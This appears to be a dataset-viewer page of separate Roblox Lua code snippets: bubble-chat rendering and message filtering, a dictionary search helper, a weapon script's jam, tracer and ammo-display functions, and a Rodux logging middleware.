bubbleText.Text, CHAT_BUBBLE_FONT_SIZE_INT, CHAT_BUBBLE_FONT,
Vector2.new(BILLBOARD_MAX_WIDTH, BILLBOARD_MAX_HEIGHT))
local bubbleWidthScale = math.max((currentTextBounds.X + CHAT_BUBBLE_WIDTH_PADDING)/BILLBOARD_MAX_WIDTH, 0.1)
local numOflines = (currentTextBounds.Y/CHAT_BUBBLE_FONT_SIZE_INT)
-- prep chat bubble for tween
chatBubbleRender.Size = UDim2.new(0,0,0,0)
chatBubbleRender.Position = UDim2.new(0.5,0,1,0)
local newChatBubbleOffsetSizeY = numOflines * CHAT_BUBBLE_LINE_HEIGHT
chatBubbleRender:TweenSizeAndPosition(UDim2.new(bubbleWidthScale, 0, 0, newChatBubbleOffsetSizeY),
UDim2.new( (1-bubbleWidthScale)/2, 0, 1, -newChatBubbleOffsetSizeY),
Enum.EasingDirection.Out, Enum.EasingStyle.Elastic, 0.1, true,
function() bubbleText.Visible = true end)
-- todo: remove when over max bubbles
this:SetBillboardGuiLOD(billboardGui, line.Origin)
this:UpdateChatLinesForOrigin(line.Origin, -newChatBubbleOffsetSizeY)
delay(line.BubbleDieDelay, function()
this:DestroyBubble(fifo, chatBubbleRender)
end)
end
end
function this:OnPlayerChatMessage(sourcePlayer, message, targetPlayer)
if not this:BubbleChatEnabled() then return end
local localPlayer = PlayersService.LocalPlayer
local fromOthers = localPlayer ~= nil and sourcePlayer ~= localPlayer
local safeMessage = this:SanitizeChatLine(message)
local line = createPlayerChatLine(sourcePlayer, safeMessage, not fromOthers)
if sourcePlayer and line.Origin then
local fifo = this.CharacterSortedMsg:Get(line.Origin).Fifo
fifo:PushBack(line)
--Game chat (badges) won't show up here
this:CreateChatLineRender(sourcePlayer.Character, line, true, fifo, false)
end
end
function this:OnGameChatMessage(origin, message, color)
local localPlayer = PlayersService.LocalPlayer
local fromOthers = localPlayer ~= nil and (localPlayer.Character ~= origin)
local bubbleColor = BubbleColor.WHITE
if color == Enum.ChatColor.Blue then bubbleColor = BubbleColor.BLUE
elseif color == Enum.ChatColor.Green then bubbleColor = BubbleColor.GREEN
elseif color == Enum.ChatColor.Red then bubbleColor = BubbleColor.RED end
local safeMessage = this:SanitizeChatLine(message)
local line = createGameChatLine(origin, safeMessage, not fromOthers, bubbleColor)
this.CharacterSortedMsg:Get(line.Origin).Fifo:PushBack(line)
if UserShouldLocalizeGameChatBubble then
this:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo, true)
else
this:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo, false)
end
end
function this:BubbleChatEnabled()
local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
if clientChatModules then
local chatSettings = clientChatModules:FindFirstChild("ChatSettings")
if chatSettings then
local chatSettings = require(chatSettings)
if chatSettings.BubbleChatEnabled ~= nil then
return chatSettings.BubbleChatEnabled
end
end
end
return PlayersService.BubbleChat
end
function this:ShowOwnFilteredMessage()
local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
if clientChatModules then
local chatSettings = clientChatModules:FindFirstChild("ChatSettings")
if chatSettings then
chatSettings = require(chatSettings)
return chatSettings.ShowUserOwnFilteredMessage
end
end
return false
end
function findPlayer(playerName)
for i,v in pairs(PlayersService:GetPlayers()) do
if v.Name == playerName then
return v
end
end
end
ChatService.Chatted:connect(function(origin, message, color) this:OnGameChatMessage(origin, message, color) end)
local cameraChangedCon = nil
if game.Workspace.CurrentCamera then
cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end)
end
game.Workspace.Changed:connect(function(prop)
if prop == "CurrentCamera" then
if cameraChangedCon then cameraChangedCon:disconnect() end
if game.Workspace.CurrentCamera then
cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end)
end
end
end)
local AllowedMessageTypes = nil
function getAllowedMessageTypes()
if AllowedMessageTypes then
return AllowedMessageTypes
end
local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
if clientChatModules then
local chatSettings = clientChatModules:FindFirstChild("ChatSettings")
if chatSettings then
chatSettings = require(chatSettings)
if chatSettings.BubbleChatMessageTypes then
AllowedMessageTypes = chatSettings.BubbleChatMessageTypes
return AllowedMessageTypes
end
end
local chatConstants = clientChatModules:FindFirstChild("ChatConstants")
if chatConstants then
chatConstants = require(chatConstants)
AllowedMessageTypes = {chatConstants.MessageTypeDefault, chatConstants.MessageTypeWhisper}
end
return AllowedMessageTypes
end
return {"Message", "Whisper"}
end
function checkAllowedMessageType(messageData)
local allowedMessageTypes = getAllowedMessageTypes()
for i = 1, #allowedMessageTypes do
if allowedMessageTypes[i] == messageData.MessageType then
return true
end
end
return false
end
local ChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local OnMessageDoneFiltering = ChatEvents:WaitForChild("OnMessageDoneFiltering")
local OnNewMessage = ChatEvents:WaitForChild("OnNewMessage")
OnNewMessage.OnClientEvent:connect(function(messageData, channelName)
if not checkAllowedMessageType(messageData) then
return
end
local sender = findPlayer(messageData.FromSpeaker)
if not sender then
return
end
if not messageData.IsFiltered or messageData.FromSpeaker == LocalPlayer.Name then
if messageData.FromSpeaker ~= LocalPlayer.Name or this:ShowOwnFilteredMessage() then
return
end
end
this:OnPlayerChatMessage(sender, messageData.Message, nil)
end)
OnMessageDoneFiltering.OnClientEvent:connect(function(messageData, channelName)
if not checkAllowedMessageType(messageData) then
return
end
local sender = findPlayer(messageData.FromSpeaker)
if not sender then
return
end
if messageData.FromSpeaker == LocalPlayer.Name and not this:ShowOwnFilteredMessage() then
return
end
this:OnPlayerChatMessage(sender, messageData.Message, nil)
end)
|
--------| Variables |--------
|
local adminsCache = {}
|
-- Door Position Save --
|
local PositionSave = DoorSegment.CFrame
|
--[[
Searches a dictionary for a value and returns the key for it
Functions.SearchDictionary(
table, <-- |REQ| Dictionary to search through
search, <-- |REQ| Search value
)
--]]
|
return function(dictionary, search)
--- Scan dictionary
for key, value in pairs(dictionary) do
if value == search then
--- Matching key!
return key
end
end
--- No matching value
return
end
|
-- 100 == 1 0 == 0 1/0.5
|
function JamCalculation()
local L_170_
if (math.random(1, 100) <= L_24_.JamChance) then
L_170_ = true
L_71_ = true
else
L_170_ = false
end
return L_170_
end
function TracerCalculation()
local L_171_
if (math.random(1, 100) <= L_24_.TracerChance) then
L_171_ = true
else
L_171_ = false
end
return L_171_
end
function SearchResupply(L_172_arg1)
local L_173_ = false
local L_174_ = nil
if L_172_arg1:FindFirstChild('ResupplyVal') or L_172_arg1.Parent:FindFirstChild('ResupplyVal') then
L_173_ = true
if L_172_arg1:FindFirstChild('ResupplyVal') then
L_174_ = L_172_arg1.ResupplyVal
elseif L_172_arg1.Parent:FindFirstChild('ResupplyVal') then
L_174_ = L_172_arg1.Parent.ResupplyVal
end
end
return L_173_, L_174_
end
function CheckReverb()
local L_175_, L_176_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_6_.CFrame.p, (L_6_.CFrame.upVector).unit * 30), IgnoreList);
if L_175_ then
local L_177_ = L_55_:WaitForChild('Fire'):FindFirstChild('ReverbSoundEffect') or Instance.new("ReverbSoundEffect", L_55_:WaitForChild('Fire'))
elseif not L_175_ then
if L_55_:WaitForChild('Fire'):FindFirstChild('ReverbSoundEffect') then
L_55_.Fire.ReverbSoundEffect:Destroy()
end
end
end
function UpdateAmmo()
L_29_.Text = L_95_
L_30_.Text = L_29_.Text
L_31_.Text = '| ' .. math.ceil(L_96_ / L_24_.StoredAmmo)
L_32_.Text = L_31_.Text
if L_87_ == 0 then
L_40_.Image = 'rbxassetid://' .. 1868007495
elseif L_87_ == 1 then
L_40_.Image = 'rbxassetid://' .. 1868007947
elseif L_87_ == 2 then
L_40_.Image = 'rbxassetid://' .. 1868008584
end
if L_86_ == 1 then
L_35_.BackgroundTransparency = 0
L_36_.BackgroundTransparency = 0.7
L_37_.BackgroundTransparency = 0.7
L_38_.BackgroundTransparency = 0.7
L_39_.BackgroundTransparency = 0.7
elseif L_86_ == 2 then
L_35_.BackgroundTransparency = 0
L_36_.BackgroundTransparency = 0
L_37_.BackgroundTransparency = 0
L_38_.BackgroundTransparency = 0
L_39_.BackgroundTransparency = 0
elseif L_86_ == 3 then
L_35_.BackgroundTransparency = 0
L_36_.BackgroundTransparency = 0
L_37_.BackgroundTransparency = 0
L_38_.BackgroundTransparency = 0.7
L_39_.BackgroundTransparency = 0.7
elseif L_86_ == 4 then
L_35_.BackgroundTransparency = 0
L_36_.BackgroundTransparency = 0
L_37_.BackgroundTransparency = 0
L_38_.BackgroundTransparency = 0
L_39_.BackgroundTransparency = 0.7
elseif L_86_ == 5 then
L_35_.BackgroundTransparency = 0
L_36_.BackgroundTransparency = 0.7
L_37_.BackgroundTransparency = 0
L_38_.BackgroundTransparency = 0.7
L_39_.BackgroundTransparency = 0.7
elseif L_86_ == 6 then
L_35_.BackgroundTransparency = 0
L_36_.BackgroundTransparency = 0.7
L_37_.BackgroundTransparency = 0
L_38_.BackgroundTransparency = 0
L_39_.BackgroundTransparency = 0.7
end
end
|
-- We want to be able to override outputFunction in tests, so the shape of this
-- module is kind of unconventional.
--
-- We fix it this weird shape in init.lua.
|
local loggerMiddleware = {
outputFunction = print,
}
function loggerMiddleware.middleware(nextDispatch, store)
return function(action)
local result = nextDispatch(action)
loggerMiddleware.outputFunction(("Action dispatched: %s\nState changed to: %s"):format(
prettyPrint(action),
prettyPrint(store:getState())
))
return result
end
end
return loggerMiddleware
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.